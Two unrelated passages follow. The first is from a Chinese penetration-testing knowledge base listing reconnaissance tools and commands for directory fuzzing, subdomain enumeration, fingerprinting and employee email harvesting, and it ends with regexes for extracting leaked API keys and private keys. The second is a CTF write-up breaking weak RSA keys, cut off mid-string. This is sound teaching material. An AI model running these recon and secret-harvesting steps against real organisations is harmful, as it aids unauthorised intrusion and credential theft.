http://testphp.vulnweb.com/FUZZ -w dic.txt ffuf -c -mc 200,301,302,403 -t 50 -u http://testphp.vulnweb.com/FUZZ -b "NAME1=VALUE1; NAME2=VALUE2" -w dic.txt # Cookie ``` - [ffuf/ffuf-scripts](https://github.com/ffuf/ffuf-scripts) - [wfuzz](../../../工具/Wfuzz.md) - [OJ/gobuster](https://github.com/OJ/gobuster) - go 写的枚举工具可爆破目录、DNS、虚拟主机名,报错较多 ``` ./gobuster dir -u http://testphp.vulnweb.com/ -w dic.txt ``` - [nccgroup/dirble](https://github.com/nccgroup/dirble) - rust 写的目录扫描工具,效果一般 ``` ./dirble http://testphp.vulnweb.com/ -w dic.txt ``` - [maurosoria/dirsearch](https://github.com/maurosoria/dirsearch) - python 写的目录扫描工具,效果一般 - [Nekmo/dirhunt](https://github.com/Nekmo/dirhunt) - python 写的目录扫描工具,效果一般 - [Xyntax/DirBrute](https://github.com/Xyntax/DirBrute) - python 写的目录扫描工具,效果一般,且长期未更新 - [H4ckForJob/dirmap](https://github.com/H4ckForJob/dirmap) - python 写的 web 目录、文件扫描工具 --- ### url抓取 **浏览器爬虫工具** - [0Kee-Team/crawlergo](https://github.com/0Kee-Team/crawlergo) - A powerful browser crawler for web vulnerability scanners ```bash # 假设你的 chromium 安装在 /tmp/chromium/ ,开启最大10标签页,爬取 AWVS 靶场 ./crawlergo -c /tmp/chromium/chrome -t 10 http://testphp.vulnweb.com/ # 使用代理 ./crawlergo -c /tmp/chromium/chrome -t 10 --request-proxy socks5://127.0.0.1:7891 http://testphp.vulnweb.com/ # json 输出 ./crawlergo --output-json out.json -c /tmp/chromium/chrome -t 10 http://testphp.vulnweb.com/ cat out.json | jq '.req_list' > out2.json cat out2.json | jq '.[].url' > url.txt sed -i 's/.//' url.txt && sed -i 's/.$//g' url.txt ``` - [timwhitez/crawlergo_x_XRAY](https://github.com/timwhitez/crawlergo_x_XRAY) - crawlergo 动态爬虫结合长亭 XRAY 扫描器的被动扫描功能 - [ox01024/Xray_and_crwlergo_in_server](https://github.com/ox01024/Xray_and_crwlergo_in_server) - xray 与 crwlergo 联动+server 酱推送 - [jaeles-project/gospider](https://github.com/jaeles-project/gospider) - Fast web spider written in Go - [chaitin/rad](https://github.com/chaitin/rad) - [projectdiscovery/katana](https://github.com/projectdiscovery/katana) - A next-generation crawling and spidering framework. **js收集** - [lc/subjs](https://github.com/lc/subjs) - Fetches javascript file from a list of URLS or subdomains. --- ### 参数fuzz **相关工具** - [s0md3v/Arjun](https://github.com/s0md3v/Arjun) - HTTP parameter discovery suite. ```bash pip3 install arjun ``` - [tomnomnom/unfurl](https://github.com/tomnomnom/unfurl) - Pull out bits of URLs provided on stdin - [tomnomnom/qsreplace](https://github.com/tomnomnom/qsreplace) - Accept URLs on stdin, replace all query string values with a user-supplied value --- ### web指纹 指纹是指网站 CMS 指纹识别、计算机操作系统以及 web 容器的指纹识别等。 应用程序一般在 html、js、css 等文件中包含一些特征码,这些特征码就是所谓的指纹。当碰到其他网站也存在次特征时,就可以快速识别出该程序,所以叫做指纹识别。 **在线工具** - [云悉 WEB 资产梳理|在线 CMS 指纹识别平台 - 云悉安全](http://www.yunsee.cn/) - [Sucuri SiteCheck - Free Website Security Check & Malware Scanner](https://sitecheck.sucuri.net/) - [Bad site specified](https://toolbar.netcraft.com/site_report?url=/) - [Site Info Tool - Website Information Lookup Tool](http://www.siteinfotool.com/) - [在线指纹识别,在线 cms 识别小插件--BugScaner](http://whatweb.bugscaner.com/look/) - [YFCMF 内容管理框架 YFCMF 内容管理框架](http://finger.tidesec.net/) - [BuiltWith Technology Lookup](https://searchcode.com/) - 找出网站使用什么搭建的 **相关文章** - [WAF 指纹探测及识别技术](https://www.freebuf.com/articles/web/21744.html) - [阻碍获取真实网络指纹](http://b404.xyz/2018/01/27/hidden-the-network/) - [Web指纹识别技术研究与优化实现](https://www.freebuf.com/articles/web/202560.html) - [Web应用组件自动化发现的探索](https://mp.weixin.qq.com/s/6xFYQ3D45VpTT3n_qgRing) **相关工具** - [wappalyzer/wappalyzer](https://github.com/wappalyzer/wappalyzer) - [firefox 扩展](https://addons.mozilla.org/zh-CN/firefox/addon/wappalyzer/) - [chrome 扩展](https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg) - [zhzyker/dismap](https://github.com/zhzyker/dismap) ```bash dismap -ip 192.168.1.1/24 dismap -file xxx.txt ``` - [0x727/ObserverWard](https://github.com/0x727/ObserverWard) - 命令行Web指纹识别工具 - https://github.com/0x727/FingerprintHub - 侦查守卫(ObserverWard)的指纹库 - [urbanadventurer/WhatWeb](https://github.com/urbanadventurer/WhatWeb) - Next generation web scanner - [winezer0/whatweb-plus](https://github.com/winezer0/whatweb-plus) - 指纹扩展版 - [tanjiti/FingerPrint](https://github.com/tanjiti/FingerPrint) - web 应用指纹识别 - [webanalyzer/rules](https://github.com/webanalyzer/rules) - 通用的指纹识别规则 - [TideSec/TideFinger](https://github.com/TideSec/TideFinger) - 指纹识别小工具 - Shodan - [firefox 扩展](https://addons.mozilla.org/zh-CN/firefox/addon/shodan_io/) - [chrome 扩展](https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap) - [EnableSecurity/wafw00f: WAFW00F allows one to identify and fingerprint Web Application Firewall (WAF) products protecting a website.](https://github.com/EnableSecurity/wafw00f) - 识别 waf 指纹的工具 --- ### 旁站 & 反查 旁站是和目标网站在同一台服务器上的其它的网站;如果从目标站本身找不到好的入手点,这时候,如果想快速拿下目标的话,一般都会先找个目标站点所在服务器上其他的比较好搞的站下手,然后再想办法跨到真正目标的站点目录中。C 段是和目标机器 ip 处在同一个 C 段的其它机器;通过目标所在 C 段的其他任一台机器,想办法跨到我们的目标机器上。 **相关工具** - [Sma11New/ip2domain](https://github.com/Sma11New/ip2domain) - 批量查询ip对应域名及百度权重、备案信息;ip反查域名;ip查备案信息;资产归属查询;百度权重查询 **在线工具** - https://x.threatbook.cn/nodev4/vb4/list - https://dns.aizhan.com/ - https://www.robtex.com/ - http://www.webscan.cc/ - http://www.114best.com/ip/ - http://www.5kik.com/c/ - https://phpinfo.me/bing.php - https://dnsdumpster.com/ - https://viewdns.info/iphistory/ - https://securitytrails.com/ - https://rapiddns.io/sameip - http://stool.chinaz.com/same - https://www.virustotal.com/gui/home/search --- ### 历史快照 大部分网站都存在历史快照,往往这些快照都有存在些敏感信息或者曾经被挂过暗链。 **在线工具** - [网页快照网](http://2tool.top/) - 搜索引擎网页快照查询,支持手机移动端 - [Internet Archive: Digital Library of Free & Borrowable Books, Movies, Music & Wayback Machine](https://archive.org/) - 互联网档案馆是一个非营利性的数字图书馆组织。提供数字数据如网站、音乐、动态图像、和数百万书籍的永久性免费存储及获取。 **例子** ``` https://webcache.googleusercontent.com/search?q=cache:www.baidu.com ``` --- ### whois与备案 **什么是 whois** whois(读作“Who is”,非缩写)是用来查询域名的 IP 以及所有者等信息的传输协议。简单说,whois 就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。 **命令行下使用** - windows 下载 https://docs.microsoft.com/en-us/sysinternals/downloads/whois - linux ``` yum install -y whois whois ffffffff0x.com ``` **在线 whois 查询** - http://wq.apnic.net/apnic-bin/whois.pl - https://centralops.net/co/ - https://www.register.com/whois.rcmx - https://www1.domain.com/whois/whois.bml - https://whois.domaintools.com/ - https://who.is/ - https://www.t00ls.net/domain.html - https://www.whois.com.au/whois/abn.html - http://whois.webmasterhome.cn/ - https://whois.aliyun.com/ - https://whois.icann.org/zh/lookup - http://whoissoft.com/ - http://whois.chinaz.com/ - https://www.whois.com/ - http://whois.domaintools.com/ - https://whois.icann.org/en - https://www.whoxy.com/reverse-whois/ - https://domainbigdata.com/ - https://viewdns.info/whois/ - https://www.reversewhois.io/ **在线备案查询** - http://www.beianbeian.com/ - http://beian.gov.cn/portal/recordQuery - http://www.miitbeian.gov.cn/publish/query/indexFirst.action --- ### 截图 **相关工具** - [FortyNorthSecurity/EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) - 获取网站的屏幕截图,提供一些服务器标头信息,并在可能的情况下识别默认凭据.(要下的依赖挺多的,比较费功夫) - [michenriksen/aquatone](https://github.com/michenriksen/aquatone) - 用于对大量主机上的网站进行可视化检查的工具 - [Nmap-Tools/NSE/http-screenshot.nse](https://github.com/SpiderLabs/Nmap-Tools/blob/master/NSE/http-screenshot.nse) - 可以截图的 Nmap 脚本 - [TheKingOfDuck/domain_screen](https://github.com/TheKingOfDuck/domain_screen) - 批量采集站点基础信息&截图。 --- ## 主机 ### linux - [Linux主机信息收集](../../../Integrated/Linux/笔记/信息.md) - [Linux日志](../../../Integrated/Linux/笔记/日志.md) ### windows - [Windows主机信息收集](../../../Integrated/Windows/笔记/信息.md) - [Windows日志](../../../Integrated/Windows/笔记/日志.md) - [Windows取证](../../BlueTeam/取证.md#windows) **相关工具** - [i11us0ry/winlog](https://github.com/i11us0ry/winlog) ### 应用程序 - [应用程序取证](../../BlueTeam/取证.md#应用程序取证) --- ## 组织 *8* - [Digital-Privacy](https://github.com/ffffffff0x/Digital-Privacy#OSINT) - 一个关于数字隐私搜集、保护、清理集一体的方案,外加开源信息收集(OSINT)对抗 ### 控股信息 **相关站点** - [天眼查](https://www.tianyancha.com/) - 企业信息调查工具_企业信息查询_公司查询_工商查询_信用查询平台 - [企查查](https://www.qichacha.com/) - 工商信息查询_公司企业注册信息查询_全国企业信用信息公示系统 - [小蓝本-商业信息搜索](https://www.xiaolanben.com/pc) **相关工具** - [ouxinLou/company-crawler](https://github.com/bouxinLou/company-crawler) - 天眼查爬虫&企查查爬虫,指定关键字爬取公司信息 - [wgpsec/ENScan_GO](https://github.com/wgpsec/ENScan_GO) - 一款基于各大企业信息 API 的工具,解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司 ICP 备案、APP、小程序、微信公众号等信息聚合导出。 --- ### 供应链信息 **相关站点** - [天眼查](https://www.tianyancha.com/) - 企业信息调查工具_企业信息查询_公司查询_工商查询_信用查询平台 - [企查查](https://www.qichacha.com/) - 工商信息查询_公司企业注册信息查询_全国企业信用信息公示系统 --- ### 子域 子域名(或子域;英语:Subdomain)是在域名系统等级中,属于更高一层域的域。比如,mail.example.com 和 calendar.example.com 是 example.com 的两个子域,而 example.com 则是顶级域 .com 的子域。 在渗透测试的时候,往往主站的防御会很强,常常无从下手,那么子站就是一个重要的突破口,因此子域名是渗透测试的主要关注对象. **域名级别** - **顶级域名** 顶级域名又分为两类: - 国家顶级域名(national top-level domainnames,简称 nTLDs),200 多个国家都按照 ISO3166 国家代码分配了顶级域名,例如中国是 .cn,美国是 .us,日本是 .jp 等; - 国际顶级域名(international top-level domain names,简称iTDs),例如表示工商企业的 .com,表示网络提供商的 .net,表示顶级标杆、个人的 .top,表示非盈利组织的 .org 等。 - **二级域名** 二级域名是互联网 DNS 等级之中,处于顶级域名之下的域。 二级域名是域名的倒数第二个部份,例如在域名 example.com 中,二级域名是 example 。 - **三级域名** 三级域名用字母(a~z)、数字(0~9)和连接符(-)组成, 各级域名之间用实点(.)连接,三级域名的长度不能超过20个字符。 如无特殊原因,采用申请人的英文名(或者缩写)或者汉语拼音名 (或者缩写) 作为三级域名,以保持域名的清晰性和简洁性。 **Public Suffix List** - [域名小知识:Public Suffix List](https://imququ.com/post/domain-public-suffix-list.html) - [publicsuffix/list](https://github.com/publicsuffix/list) **相关文章** - [Subdomain Recon](https://echocipher.github.io/2019/07/24/Subdomain-Recon/) - [从代码角度看各类子域名收集工具](https://paper.seebug.org/1292/) - [子域名发现的20种方法](https://mp.weixin.qq.com/s/X5B1CheRDcSu62tcnNRRHg) **学习资料** - [appsecco/bugcrowd-levelup-subdomain-enumeration](https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration) - 此资料库包含了在 Bugcrowd LevelUp 2017 虚拟会议上进行的演讲 “神秘的子域枚举技术” 中的所有演讲材料,视频和脚本。 **相关工具** - [shmilylty/OneForAll](https://github.com/shmilylty/OneForAll) - 非常优秀的子域名爆破工具,推荐 ```bash # config/setting.py 配置代理 # config/api.py 配置 API 信息 python3 oneforall.py --target ffffffff0x.com run python3 oneforall.py --targets ./example.txt run ``` - [boy-hack/ksubdomain](https://github.com/boy-hack/ksubdomain) - [knownsec/ksubdomain](https://github.com/knownsec/ksubdomain) - 无状态子域名爆破工具,推荐 - [ksubdomain 无状态域名爆破工具](https://paper.seebug.org/1325/) ```bash ksubdomain -d xxx.com -o out.txt ``` - [blechschmidt/massdns](https://github.com/blechschmidt/massdns) - 一个高性能的DNS存根解析器,用于批量查找和侦察(子域枚举)。 - [Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) - 通过在 js 文件中提取 URL,子域名 - [LangziFun/LangSrcCurise](https://github.com/LangziFun/LangSrcCurise) - 持续性的子域名监控 - [tomnomnom/assetfinder](https://github.com/tomnomnom/assetfinder) - GO语言编写,从社交网站、威胁搜索引擎获取子域的工具 - [infosec-au/altdns](https://github.com/infosec-au/altdns) - 生成大量的子域列表,配合爆破工具使用 - [Edu4rdSHL/findomain](https://github.com/Edu4rdSHL/findomain) - Rust语言编写的子域枚举工具 - [OWASP/Amass](https://github.com/OWASP/Amass) - 多功能信息收集工具 - [lijiejie/subDomainsBrute](https://github.com/lijiejie/subDomainsBrute) - 本工具用于渗透测试目标域名收集。高并发DNS暴力枚举 - [bit4woo/teemo](https://github.com/bit4woo/Teemo) - 域名收集及枚举工具 - [ring04h/wydomain](https://github.com/ring04h/wydomain) - python语言编写的子域枚举工具 - [fwaeytens/dnsenum](https://github.com/fwaeytens/dnsenum) - 一个枚举DNS信息的 perl 脚本 - [mschwager/fierce](https://github.com/mschwager/fierce) - 一个 DNS 侦查工具,用于查找非连续 IP 空间。 - [OJ/gobuster](https://github.com/OJ/gobuster) - go 写的枚举工具可爆破目录、DNS、虚拟主机名,速度极快 - [esecuritylab/kostebek](https://github.com/esecuritylab/kostebek) - 一种使用公司商标信息来发现其域名的侦察工具 - [MilindPurswani/Syborg](https://github.com/MilindPurswani/Syborg) - 一个递归 DNS 域枚举器,它既不是主动的也不是完全被动的。该工具仅构造一个域名,然后使用指定的DNS服务器查询该域名。 - [guelfoweb/knock](https://github.com/guelfoweb/knock) - python 编写的 DNS 枚举工具,支持对 VirusTotal 子域的查询 - [tismayil/rsdl](https://github.com/tismayil/rsdl) - go语言编写,采用 ping 方式的子域扫描工具 - [joinsec/BadDNS](https://github.com/joinsec/BadDNS) - BadDNS 是一款使用 Rust 开发的使用公共 DNS 服务器进行多层子域名探测的极速工具。 ``` ./baddns -t target.txt -s domaindict-170W.txt -d depthdict.txt ``` - [projectdiscovery/subfinder](https://github.com/projectdiscovery/subfinder) - Fast passive subdomain enumeration tool. - api 配置文件位于 `$HOME/.config/subfinder/provider-config.yaml` - [yunxu1/dnsub](https://github.com/yunxu1/dnsub) - 通过字典枚举、API查询、爬虫的方式用于扫描探测子域名 - [projectdiscovery/dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. - [bit4woo/domain_hunter_pro](https://github.com/bit4woo/domain_hunter_pro) - [edoardottt/csprecon](https://github.com/edoardottt/csprecon) - Discover new target domains using Content Security Policy **Tips** - 子域名扫描尽量通过第三方平台进行收集。 ```bash # 从 rapid7 sonar项目下载公共数据集,解压缩进行匹配 wget https://opendata.rapid7.com/sonar.fdns_v2/2020-09-25-1600992617-fdns_any.json.gz # 23G,谨慎下载 cat 2020-09-25-1600992617-fdns_any.json.gz | pigz -dc | grep ".target.org" | jq ``` - 通过 HTTPS 证书查询 - 见 [Censys](./空间测绘.md#Censys) - 从代码托管网站或在线服务商查询 - 见 [Github](./空间测绘.md#Github) - 第三方网站接口查询 - https://x.threatbook.cn/nodev4/vb4/list - 内容需注册可见 - https://www.riskiq.com/ - 内容需注册可见 - https://www.shodan.io/ - 无需注册 - https://findsubdomains.com - 内容需注册可见 - censys.io - 无需注册 - https://www.zoomeye.org/ - 无需注册 - https://fofa.so/ - 无需注册 - https://www.threatcrowd.org/ - 无需注册 - https://dnsdumpster.com/ - 无需注册 - https://securitytrails.com/ - 无需注册 - https://viewdns.info/ - 无需注册 - https://www.dnsdb.io/zh-cn/ - 部分内容需注册可见 - 在线 api ```bash https://dns.bufferover.run/dns?q=baidu.com # 调用的 Rapid7 数据 https://rapiddns.io/subdomain ``` - 更多开放 api 参考 : https://opendata.rapid7.com/apihelp/ - 开放数据下载 : https://opendata.rapid7.com/ #### host 碰撞 **相关文章** - [利用HOSTS碰撞突破边界](https://xz.aliyun.com/t/9590) - [WEB非实用之host碰撞挖掘](https://www.yuque.com/pmiaowu/bomi9w/tbuaca) **相关工具** - [fofapro/Hosts_scan](https://github.com/fofapro/Hosts_scan) - 一个用于 IP 和域名碰撞匹配访问的小工具,旨意用来匹配出渗透过程中需要绑定 hosts 才能访问的弱主机或内部系统。 - [pmiaowu/HostCollision](https://github.com/pmiaowu/HostCollision) --- ### 商标 **相关站点** - [天眼查](https://www.tianyancha.com/) - 企业信息调查工具_企业信息查询_公司查询_工商查询_信用查询平台 - [小蓝本-商业信息搜索](https://www.xiaolanben.com/pc) --- ### 网站备案号 **相关站点** - https://beian.miit.gov.cn/#/Integrated/index - https://icp.chinaz.com/ - https://www.beian.gov.cn/portal/registerSystemInfo --- ### 手机APP/小程序 **移动应用** - APP商店 - (华为/小米/OPPO/三星/...)应用商店 - App Store - 微信/支付宝小程序 **相关站点** - [小蓝本-商业信息搜索](https://www.xiaolanben.com/pc) --- ### 员工信息 **收集渠道** - qq群 - 微信群 - 钉钉群 - 线上/下活动 #### email 企业邮箱的邮箱后缀名一般为企业的域名,为便于员工可以方便的进行工作通信,企业会对外网开放邮箱登录地址。因此在前期的信息收集中掌握大量的邮箱账号对于破解企业邮箱非常有帮助。 **相关工具** - [laramies/theHarvester](https://github.com/laramies/theHarvester) - E-mails, subdomains and names - [nettitude/Prowl](https://github.com/nettitude/Prowl) - 一个电子邮件收集工具,它可以搜索与用户搜索术语相关联的个人资料,并识别职位。还确定指定组织的当前工作列表。 - [按域名搜索](https://app.snov.io/domain-search) - [Taonn/EmailAll](https://github.com/Taonn/EmailAll) - 一款强大的邮箱收集工具 ``` git clone https://github.com/Taonn/EmailAll.git cd EmailAll pip3 install -r requirements.txt python3 emailall.py --domain example.com run ``` - MSF Module - 这个模块比较拉胯,不建议使用 ``` use auxiliary/gather/search_email_collector show options set domain ffffffff0x.com run ``` --- ## APIkey/密钥信息 **相关文章** - [Unauthorized Google Maps API Key Usage Cases, and Why You Need to Care](https://medium.com/@ozguralp/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e) - [一些提取api key的正则表达式](https://bacde.me/post/Extract-API-Keys-From-Regex/) - [企业微信Secret Token利用思路](https://mp.weixin.qq.com/s/LMZVcZk7_1r_kOKRau5tAg) - [企业微信Token-Secret利用思路](https://mp.weixin.qq.com/s/MyIUhkxmyw-msCPnhUi92A) - [企业微信+腾讯IM密钥泄漏利用](https://r0fus0d.blog.ffffffff0x.com/post/workwx-and-txim/) - https://mp.weixin.qq.com/debug/cgi-bin/apiinfo?t=index&type=%E5%9F%BA%E7%A1%80%E6%94%AF%E6%8C%81&form=%E8%8E%B7%E5%8F%96access_token%E6%8E%A5%E5%8F%A3%20/token **相关案例** - [WooYun-2015-141929 - 神器之奇虎360某命令执行导致网站卫士等多个重要业务官网可getshell(可能影响接入站长)](https://php.mengsec.com/bugs/wooyun-2015-0141929.html) - [Flickr Account Takeover using AWS Cognito API](https://hackerone.com/reports/1342088) - [Flickr Account Takeover](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) - [记一次SRC信息泄漏利用](https://mp.weixin.qq.com/s/1F7iCfRzdQDUdWvwzamFWA) **相关资源** - [daffainfo/all-about-apikey](https://github.com/daffainfo/all-about-apikey) - https://github.com/databricks/security-bucket-brigade/blob/3f25fe0908a3969b325542906bae5290beca6d2f/Tools/s3-secrets-scanner/rules.json - https://github.com/projectdiscovery/nuclei-templates/tree/master/exposures/tokens - https://raw.githubusercontent.com/gh0stkey/HaE/gh-pages/Config.yml ### 通用关键词 ``` password= $passwd key= Realm accessId accessKey APPID APPSECRET ``` ### 正则规则 以下正则来自 <sup>[[一些提取api key的正则表达式](https://bacde.me/post/Extract-API-Keys-From-Regex/)]</sup> ```re 'aliyun_oss_url': '[\\w-.]\\.oss.aliyuncs.com', 'azure_storage': 'https?://[\\w-\.]\\.file.core.windows.net', 'access_key': '[Aa](ccess|CCESS)_?[Kk](ey|EY)|[Aa](ccess|CCESS)_?[sS](ecret|ECRET)|[Aa](ccess|CCESS)_?(id|ID|Id)', 'secret_key': '[Ss](ecret|ECRET)_?[Kk](ey|EY)', 'slack_token': '(xox[p|b|o|a]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})', 'slack_webhook': 'https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}', 'facebook_oauth': '[f|F][a|A][c|C][e|E][b|B][o|O][o|O][k|K].{0,30}['\'\\s][0-9a-f]{32}['\'\\s]', 'twitter_oauth': '[t|T][w|W][i|I][t|T][t|T][e|E][r|R].{0,30}['\'\\s][0-9a-zA-Z]{35,44}['\'\\s]', 'heroku_api': '[h|H][e|E][r|R][o|O][k|K][u|U].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}', 'mailgun_api': 'key-[0-9a-zA-Z]{32}', 'mailchamp_api': '[0-9a-f]{32}-us[0-9]{1,2}', 'picatic_api': 'sk_live_[0-9a-z]{32}', 'google_api': 'AIza[0-9A-Za-z-_]{35}', 'google_captcha': '6L[0-9A-Za-z-_]{38}', 'google_oauth': 'ya29\\.[0-9A-Za-z\\-_]+', 'amazon_aws_access_key_id': 'AKIA[0-9A-Z]{16}', 'amazon_mws_auth_token': 'amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', 'amazonaws_url': 's3\\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\\.s3\\.amazonaws.com', 'facebook_access_token': 'EAACEdEose0cBA[0-9A-Za-z]+', 'mailgun_api_key': 'key-[0-9a-zA-Z]{32}', 'twilio_api_key': 'SK[0-9a-fA-F]{32}', 'twilio_account_sid': 'AC[a-zA-Z0-9_\\-]{32}', 'twilio_app_sid': 'AP[a-zA-Z0-9_\\-]{32}', 'paypal_braintree_access_token': 'access_token\\$production\\$[0-9a-z]{16}\\$[0-9a-f]{32}', 'square_oauth_secret': 'sq0csp-[ 0-9A-Za-z\\-_]{43}', 'square_access_token': 'sqOatp-[0-9A-Za-z\\-_]{22}', 'stripe_standard_api': 'sk_live_[0-9a-zA-Z]{24}', 'stripe_restricted_api': 'rk_live_[0-9a-zA-Z]{24}', 'github_access_token': '[a-zA-Z0-9_-]*:[a-zA-Z0-9_\\-]+@github\\.com*', 'rsa_private_key' : '-----BEGIN RSA PRIVATE KEY-----', 'ssh_dsa_private_key' : '-----BEGIN DSA PRIVATE KEY-----', 'ssh_dc_private_key' : '-----BEGIN EC PRIVATE KEY-----', 'pgp_private_block' : '-----BEGIN PGP PRIVATE KEY BLOCK-----', 'json_web_token' : 'ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*$', 'JWT':'[= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*', 'ALL_JWT':'[= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', ``` ### Google Maps API - [Unauthorized Google Maps API Key Usage Cases, and Why You Need to Care](https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e) - [谷歌地图API密钥未授权利用造成的危害](https://nosec.org/home/detail/4036.html) - [Google Maps API (Not the Key) Bugs That I Found Over the Years](https://ozguralp.medium.com/google-maps-api-not-the-key-bugs-that-i-found-over-the-years-781840fc82aa) - [ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) - Used for determining whether a leaked/found Google Maps API Key is vulnerable to unauthorized access by other applications or not. ```bash python3 maps_api_scanner_python3.py python3 maps_api_scanner_python3.py --api-key API_KEY # Staticmap、Streetview、Embed API's 有可能会误报 ``` - [Google API key leaked to Public](https://hackerone.com/reports/1065041)
sec-knowleage
# RSA Buffet (crypto) ###ENG [PL](#pl-version) In the task we get a set of 10 4096 bit RSA public keys and 5 ciphertexts processed with some `secretsharing` python module. The goal is to break the public keys and decode ciphertexts. Sadly we got only 5 of the keys, and only 4 of the encrypted the ciphertexts so we got only the first flag (there were two). The first key we broke was the most obvious one, key number 3: ``` e = 228667357288918039245378693853585657521675864952652022596906774862933762099300789254749604425410946822615083373857144528433260602296227303503891476899519658402024054958055003935382417495158976039669297102085384069060239103495133686397751308534862740272246002793830176686556622100583797028989159199545629609021240950860918369384255679720982737996963877876422696229673990362117541638946439467137750365479594663480748942805548680674029992842755607231111749435902398183446860414264511210472086370327093252168733191324465379223167108867795127182838092986436559312004954839317032041477453391803727162991479936070518984824373880381139279500094875244634092093215146125326800209962084766610206048422344237134106891516381979347888453395909395872511361844386280383251556028219600028715738105327585286564058975370316649206938752448895524147428799966328319661372247669163998623995646371176483786757036960204837994662752770358964913870689131473714797550537422931003343433377469029232185552979648755665051117443571002017829146470221483652014417043043920340602378994630507647460734411326405049128160906832664174206633659153486878241903912874200129515570971220983561054906106575556061388168231915057339795246395626504771079756241685975773086049021119L n = 625370676793301609007636145380331611237919351425496690404114180302249419719867435237342547950459491394834137179033102621573611784738388518952362848787237787440594300323769334356435131992521522997795029079251912507591819194229112877831181987001350385569134107880067429777572352378951587000987749447829255561035861423897841083194636994924140527822677164175006590642236546332030533920247393734145161727026178314748349757632676858997648848951518713836001935694487214337663667186794458714595706552931844195313593265852623091839910783970211228963728395962479544383117833611165858148867888664339695901377282163112482988096747232893295750676690941568494463290730116247822838421828649339437010788165430710512903632914670529270528098439859718986580569781164710102583602429563649626238817198851752150256839194761250249327990903746851390967504209752042479527523791824857674302720147951681393130861129469956962513163744166621211214770096232423058352324863327706013479610785632814580681502127018494520155709115651059545236646813027941576086510607434365502848385373510684649855795155224752033959337914546058251330474025320961186763814554194220596151399428277009154211720727770696506865214610059620204055226083684833160528072571967096188932684068843L ``` It was obvious because with such high `e` we can run Wiener attack and recover the private key: ```sage c_fracs = continued_fraction(e/n).convergents() test_message = 42 test_message_encrypted = pow(test_message,e,n) d = 0 for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() break print(d) ``` The next key we got was directly from factordb: http://factordb.com/index.php?query=549100898763808112064590568096509639806005267015788479836998648112330729762142760306265813195181231930171220686827142359040315653020182064933039077953579528749272321744478656324986362155106653831095037724728643255316641716947998245610175805278242802144980117927688674393383290354985820646326870614197414534217177211618710501438340081867982883181358830449072661742417246835970022211465130756382481343160426921258769780282358703413114522476037306476452786236456339806564839822630841425055758411765631749632457527073092742671445828538125416154242015006557099276782924659662805070769995499831691512789480191593818008294274869515824359702140052678892212293539574359134092465336347101950176544334845468112561615253963771393076343090247719105323352711194948081670662350809687853687199699436636944300210595489981211181100443706510898137733979941302306471697516217631493070094434891637922047009630278889176140288479340611479190580909389486067761958499091506601085734094801729179308537628951345012578144960250844126260353636619225347430788141190654302935255862518781845236444151680147886477815759103864509989480675169631226254252762579781553994364555800120817100328166428687776427164098803076677481602221304265962340500651339469391627432175447 This instantly gives us `p` and `q`. Another two keys gets broken with `common factor` approach - two modulus share the same prime so by calculating `gcd(n1,n2)` for each moduli pair we can get the common factor. ```python for n1 in moduli: for n2 in moduli: p = gcd(n1,n2) if n1!=n2 and p!=1: print(n1,n2,p) ``` The last key we got was from Fermat Fatorization - the primes `p` and `q` were both very close to `sqrt(n)`: ```python def fermat_factors(n): assert n % 2 != 0 a = gmpy2.isqrt(n) b2 = gmpy2.square(a) - n while not gmpy2.is_square(b2): a += 1 b2 = gmpy2.square(a) - n factor1 = a + gmpy2.isqrt(b2) factor2 = a - gmpy2.isqrt(b2) print(n, factor1, factor2) return int(factor1), int(factor2) ``` Now with those recovered private keys we can proceed with decrypting the ciphertexts: ```python def decrypt(private_key, ciphertext): """Decrypt a message with a given private key. Takes in a private_key generated by Crypto.PublicKey.RSA, which must be of size exactly 4096 If the ciphertext is invalid, return None """ if len(ciphertext) < 512 + 16: return None msg_header = ciphertext[:512] msg_iv = ciphertext[512:512 + 16] msg_body = ciphertext[512 + 16:] try: symmetric_key = PKCS1_OAEP.new(private_key).decrypt(msg_header) except ValueError as e: print(e) return None if len(symmetric_key) != 32: return None return AES.new(symmetric_key, mode=AES.MODE_CFB, IV=msg_iv).decrypt(msg_body) def get_d(n, p, e): from crypto_commons.rsa.rsa_commons import modinv, get_fi_distinct_primes phi = get_fi_distinct_primes([p, n / p]) return modinv(e, phi) def decode_i(d, e, n, i): private_key = RSA.construct((n, e, d)) with codecs.open("ct/ciphertext-" + str(i) + ".bin") as ct_file: data = ct_file.read() decrypted = decrypt(private_key, data) print(decrypted) ``` From this we get list of messages for secretsharing: ```python def recover_flag(msgs): print(PlaintextToHexSecretSharer.recover_secret(msgs)) def print_results(): msgs = [ '1-32a1cd9f414f14cff6685879444acbe41e5dba6574a072cace6e8d0eb338ad64910897369b7589e6a408c861c8e708f60fbbbe91953d4a73bcf1df11e1ecaa2885bed1e5a772bfed42d776a9', 